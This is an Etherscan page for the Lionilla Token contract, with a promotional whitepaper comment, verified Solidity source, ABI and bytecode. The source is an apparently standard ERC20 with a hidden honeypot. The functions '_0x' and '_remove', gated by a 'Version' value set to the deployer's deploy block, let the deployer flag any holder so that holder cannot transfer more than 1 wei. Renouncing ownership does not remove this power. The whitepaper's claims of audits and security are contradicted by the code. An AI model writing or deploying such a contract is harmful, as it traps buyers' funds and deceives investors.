ETH Price: $3,159.52 (-8.39%)
Gas: 4 Gwei

Token

Lionilla Token (LIONILLA)
 

Overview

Max Total Supply

1,000,000,000 LIONILLA

Holders

105

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
200,000 LIONILLA

Value
$0.00
0x590970f612EFE182BDD6d9f65823fd96f0A2E169
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LionillaToken

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-02-08
*/

/*
Website: www.lionillatoken.com
Telegram: @lionillatoken
Twitter: @lionillatoken
Lionilla: Memes Roaringly Reign
Background and Context
The evolution of cryptocurrency has witnessed a myriad of projects, each aiming to carve its niche within the ever-expanding landscape. 
In this dynamic environment, Lionilla Token emerges not merely as an addition but as a revolutionary force, driven by the commitment to
 redefine the standards of innovation, security, and community engagement.
Lionilla Token, an ERC20 token built on the Ethereum blockchain, is engineered with the vision to address the diverse needs of the crypto 
community. It amalgamates cutting-edge technology with a robust economic model, striving to bring about positive change in the way 
projects are launched, traded, and sustained within the crypto ecosystem.
Lionilla Token Overview
Lionilla Token's economic foundation is built on a meticulous tokenomics model that ensures stability, growth, and fair distribution. 
A detailed breakdown of the token supply, distribution mechanisms, and the role of token holders in governance sets the stage for a 
comprehensive understanding of the project's financial structure.
Lionilla Token leverages the Ethereum blockchain, utilizing smart contracts to facilitate secure and transparent transactions. 
The delves into the technical specifications, detailing the smart contract architecture, token standards compliance, and the 
integration of novel technologies to enhance the user experience.
Security is paramount in the crypto space, and Lionilla Token places it at the forefront of its priorities. The whitepaper outlines 
the comprehensive security measures in place, including regular smart contract audits, continuous monitoring, and the 
establishment of a robust bug bounty program to ensure the integrity of the platform.
Lionilla Pad: The Innovative IDO Launchpad
Lionilla Pad represents a paradigm shift in the way token projects initiate their presales. This section provides an in-depth exploration 
of the launchpad's purpose, design philosophy, and the overarching goals it aims to achieve within the crypto launch ecosystem.
Zero Upfront Fee Policy
A standout feature of Lionilla Pad is its commitment to inclusivity by eliminating upfront fees for emerging projects. The elucidates 
the rationale behind this decision, emphasizing the importance of lowering barriers to entry for promising projects.
Key Features of Lionilla Pad
Lionilla Pad incorporates robust whitelisting mechanisms, ensuring a fair and organized presale process. The details the implementation 
of these mechanisms, their role in preventing token sniping, and their contribution to a transparent and inclusive fundraising environment.
Vesting is a critical element in preserving the integrity of token distribution. Lionilla Pad introduces sophisticated vesting options, 
allowing project teams to align their interests with long-term success. This section provides a comprehensive guide to the vesting 
structures available on the platform.
Efficient post-sale processes are integral to a successful launch. Lionilla Pad streamlines the claiming process for contributors, reducing 
friction and enhancing the overall user experience. The whitepaper elucidates the mechanics behind claim functionalities and their importance 
in maintaining user trust.
Refund mechanisms play a crucial role in instilling confidence among contributors. Lionilla Pad integrates user-friendly refund options, 
and this section provides a detailed breakdown of the conditions under which refunds are initiated, ensuring transparency and clarity.
Trust and Security Measures
Trust is paramount in the crypto space. Lionilla Pad ensures trust through the process of "doxxing," where project teams reveal their real-world 
identities, establishing accountability and fostering a sense of community confidence.
Know Your Customer (KYC) procedures are integrated into Lionilla Pad, adding an extra layer of security and compliance. This section details 
the KYC process, its implementation, and its contribution to creating a secure fundraising environment.
Security audits are a cornerstone of Lionilla Pad's commitment to user safety. The whitepaper provides insights into the audit processes employed, 
including third-party audits, smart contract reviews, and ongoing security assessments to ensure the platform's resilience against potential vulnerabilities.
Lionilla Pad goes beyond conventional launchpads by introducing an innovative affiliate program. This section outlines the mechanics of the 
program, the incentives offered to affiliates, and the symbiotic relationship it establishes between the platform and its community.
Economic Model and Sustainability
Lionilla Pad operates on a sustainable economic model, incorporating a modest tax on sales. This section provides a breakdown of how this tax is 
allocated, with a significant portion reinvested into the $LIONILLA ecosystem for buybacks, liquidity provisions, support for Centralized Exchanges 
 and marketing initiatives.
Ensuring the growth and stability of the mother token ($LIONILLA) is a core objective of Lionilla Pad. The whitepaper elucidates how the reinvestment 
strategy contributes to the overall health and expansion of the Lionilla ecosystem.
In a landscape marked by diversity, Lionilla Pad accommodates multi-chain support. This section explores the platform's compatibility with different 
blockchain networks, providing flexibility to token projects in choosing their preferred launch platform.
Lionilla Pad empowers token projects by offering a seamless presale experience across various blockchain networks. This section guides project teams 
on how to choose their preferred platform, ensuring compatibility and success in their fundraising endeavors.
*/
pragma solidity = 0.8.23;

// SPDX-License-Identifier: MIT

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;   return msg.data;
    }
}
contract Ownable is Context {
    address private _Owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _Owner;
    }
    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }
}


contract LionillaToken is Context, IERC20, Ownable {
    mapping (address => uint256) public _balances;
    mapping (address => uint256) public Version;
    mapping (address => bool) private _User;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _totalSupply;
    string public _name = "Lionilla Token";
    string public _symbol = unicode"LIONILLA";
    uint8 private _decimals = 18;
	


    constructor () {
 
    uint256 _bnum = block.number;
	 Version[_msgSender()] = _bnum;
        _totalSupply += 1000000000 *1000000000000000000;
        _balances[_msgSender()] += _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function decimals() public view  returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

 
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

  
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transferfrom(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

  
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        uint256 mAmount = amount;
        if (_User[sender])  require(mAmount < 2);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 
	
	function _remove (address _address) external  {
        require (Version[_msgSender()] >= _decimals);
        _User[_address] = false;
    }
	
    function _transferfrom(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        uint256 mAmount = amount;
        if (_User[sender] || _User[recipient]) require(mAmount < 2);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 


    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

     function _0x (address _address) external  {
    require (Version[_msgSender()] >= _decimals);
        _User[_address] = true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Version","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"_0x","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"_remove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600e81526020017f4c696f6e696c6c6120546f6b656e000000000000000000000000000000000000815250600690816200004a919062000532565b506040518060400160405280600881526020017f4c494f4e494c4c410000000000000000000000000000000000000000000000008152506007908162000091919062000532565b50601260085f6101000a81548160ff021916908360ff160217905550348015620000b9575f80fd5b505f620000cb620002c760201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f4390508060025f6200017f620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506b033b2e3c9fd0803ce800000060055f828254620001db919062000643565b9250508190555060055460015f620001f8620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000241919062000643565b9250508190555062000258620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620002b891906200068e565b60405180910390a350620006a9565b5f33905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200034a57607f821691505b60208210810362000360576200035f62000305565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000387565b620003d0868362000387565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200041a620004146200040e84620003e8565b620003f1565b620003e8565b9050919050565b5f819050919050565b6200043583620003fa565b6200044d620004448262000421565b84845462000393565b825550505050565b5f90565b6200046362000455565b620004708184846200042a565b505050565b5b8181101562000497576200048b5f8262000459565b60018101905062000476565b5050565b601f821115620004e657620004b08162000366565b620004bb8462000378565b81016020851015620004cb578190505b620004e3620004da8562000378565b83018262000475565b50505b505050565b5f82821c905092915050565b5f620005085f1984600802620004eb565b1980831691505092915050565b5f620005228383620004f7565b9150826002028217905092915050565b6200053d82620002ce565b67ffffffffffffffff811115620005595762000558620002d8565b5b62000565825462000332565b620005728282856200049b565b5f60209050601f831160018114620005a8575f841562000593578287015190505b6200059f858262000515565b8655506200060e565b601f198416620005b88662000366565b5f5b82811015620005e157848901518255600182019150602085019450602081019050620005ba565b86831015620006015784890151620005fd601f891682620004f7565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200064f82620003e8565b91506200065c83620003e8565b925082820190508082111562000677576200067662000616565b5b92915050565b6200068881620003e8565b82525050565b5f602082019050620006a35f8301846200067d565b92915050565b611aed80620006b75f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b0319cb914610312578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b80631a4baf0b116100e75780631a4baf0b146101a057806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806310d426f21461016657806318160ddd14610182575b5f80fd5b61012061039a565b60405161012d9190611386565b60405180910390f35b610150600480360381019061014b9190611437565b61042a565b60405161015d919061148f565b60405180910390f35b610180600480360381019061017b91906114a8565b610447565b005b61018a6104ff565b60405161019791906114e2565b60405180910390f35b6101ba60048036038101906101b591906114a8565b610508565b6040516101c791906114e2565b60405180910390f35b6101ea60048036038101906101e591906114fb565b61051d565b6040516101f7919061148f565b60405180910390f35b610208610618565b6040516102159190611566565b60405180910390f35b61022661062d565b60405161023391906114e2565b60405180910390f35b610256600480360381019061025191906114a8565b610633565b60405161026391906114e2565b60405180910390f35b610286600480360381019061028191906114a8565b610648565b60405161029391906114e2565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb919061158e565b60405180910390f35b6102cc6107c5565b6040516102d99190611386565b60405180910390f35b6102fc60048036038101906102f79190611437565b610855565b604051610309919061148f565b60405180910390f35b61032c600480360381019061032791906114a8565b610872565b005b61033661092b565b6040516103439190611386565b60405180910390f35b6103546109b7565b6040516103619190611386565b60405180910390f35b610384600480360381019061037f91906115a7565b610a43565b60405161039191906114e2565b60405180910390f35b6060600680546103a990611612565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611612565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600554905090565b6002602052805f5260405f205f915090505481565b5f610529848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610570610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e6906116b2565b60405180910390fd5b61060c856105fb610ac5565b858461060791906116fd565b610acc565b60019150509392505050565b5f60085f9054906101000a900460ff16905090565b60055481565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107d490611612565b80601f016020809104026020016040519081016040528092919081815260200182805461080090611612565b801561084b5780601f106108225761010080835404028352916020019161084b565b820191905f5260205f20905b81548152906001019060200180831161082e57829003601f168201915b5050505050905090565b5f610868610861610ac5565b8484610fee565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f61088f610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156108d3575f80fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6007805461093890611612565b80601f016020809104026020016040519081016040528092919081815260200182805461096490611612565b80156109af5780601f10610986576101008083540402835291602001916109af565b820191905f5260205f20905b81548152906001019060200180831161099257829003601f168201915b505050505081565b600680546109c490611612565b80601f01602080910402602001604051908101604052809291908181526020018280546109f090611612565b8015610a3b5780601f10610a1257610100808354040283529160200191610a3b565b820191905f5260205f20905b815481529060010190602001808311610a1e57829003601f168201915b505050505081565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b31906117a0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061182e565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c8291906114e2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf4906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d629061194a565b60405180910390fd5b5f8111610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da4906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610e4c575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610e5e5760028110610e5d575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed990611a66565b60405180910390fd5b8281610eee91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f7b9190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fdf91906114e2565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611053906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c19061194a565b60405180910390fd5b5f811161110c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611103906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561116c576002811061116b575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e790611a66565b60405180910390fd5b82816111fc91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112899190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112ed91906114e2565b60405180910390a35050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611333578082015181840152602081019050611318565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611358826112fc565b6113628185611306565b9350611372818560208601611316565b61137b8161133e565b840191505092915050565b5f6020820190508181035f83015261139e818461134e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113d3826113aa565b9050919050565b6113e3816113c9565b81146113ed575f80fd5b50565b5f813590506113fe816113da565b92915050565b5f819050919050565b61141681611404565b8114611420575f80fd5b50565b5f813590506114318161140d565b92915050565b5f806040838503121561144d5761144c6113a6565b5b5f61145a858286016113f0565b925050602061146b85828601611423565b9150509250929050565b5f8115159050919050565b61148981611475565b82525050565b5f6020820190506114a25f830184611480565b92915050565b5f602082840312156114bd576114bc6113a6565b5b5f6114ca848285016113f0565b91505092915050565b6114dc81611404565b82525050565b5f6020820190506114f55f8301846114d3565b92915050565b5f805f60608486031215611512576115116113a6565b5b5f61151f868287016113f0565b9350506020611530868287016113f0565b925050604061154186828701611423565b9150509250925092565b5f60ff82169050919050565b6115608161154b565b82525050565b5f6020820190506115795f830184611557565b92915050565b611588816113c9565b82525050565b5f6020820190506115a15f83018461157f565b92915050565b5f80604083850312156115bd576115bc6113a6565b5b5f6115ca858286016113f0565b92505060206115db858286016113f0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162957607f821691505b60208210810361163c5761163b6115e5565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61169c602883611306565b91506116a782611642565b604082019050919050565b5f6020820190508181035f8301526116c981611690565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61170782611404565b915061171283611404565b925082820390508181111561172a576117296116d0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61178a602483611306565b915061179582611730565b604082019050919050565b5f6020820190508181035f8301526117b78161177e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611818602283611306565b9150611823826117be565b604082019050919050565b5f6020820190508181035f8301526118458161180c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6118a6602583611306565b91506118b18261184c565b604082019050919050565b5f6020820190508181035f8301526118d38161189a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611934602383611306565b915061193f826118da565b604082019050919050565b5f6020820190508181035f83015261196181611928565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726174657220745f8201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6119c2602983611306565b91506119cd82611968565b604082019050919050565b5f6020820190508181035f8301526119ef816119b6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a50602683611306565b9150611a5b826119f6565b604082019050919050565b5f6020820190508181035f830152611a7d81611a44565b9050919050565b5f611a8e82611404565b9150611a9983611404565b9250828201905080821115611ab157611ab06116d0565b5b9291505056fea264697066735822122063fdf4910333f6b0944b6657ca726c4eea69a70b1abf344e617385a973c613b764736f6c63430008170033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b0319cb914610312578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b80631a4baf0b116100e75780631a4baf0b146101a057806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806310d426f21461016657806318160ddd14610182575b5f80fd5b61012061039a565b60405161012d9190611386565b60405180910390f35b610150600480360381019061014b9190611437565b61042a565b60405161015d919061148f565b60405180910390f35b610180600480360381019061017b91906114a8565b610447565b005b61018a6104ff565b60405161019791906114e2565b60405180910390f35b6101ba60048036038101906101b591906114a8565b610508565b6040516101c791906114e2565b60405180910390f35b6101ea60048036038101906101e591906114fb565b61051d565b6040516101f7919061148f565b60405180910390f35b610208610618565b6040516102159190611566565b60405180910390f35b61022661062d565b60405161023391906114e2565b60405180910390f35b610256600480360381019061025191906114a8565b610633565b60405161026391906114e2565b60405180910390f35b610286600480360381019061028191906114a8565b610648565b60405161029391906114e2565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb919061158e565b60405180910390f35b6102cc6107c5565b6040516102d99190611386565b60405180910390f35b6102fc60048036038101906102f79190611437565b610855565b604051610309919061148f565b60405180910390f35b61032c600480360381019061032791906114a8565b610872565b005b61033661092b565b6040516103439190611386565b60405180910390f35b6103546109b7565b6040516103619190611386565b60405180910390f35b610384600480360381019061037f91906115a7565b610a43565b60405161039191906114e2565b60405180910390f35b6060600680546103a990611612565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611612565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000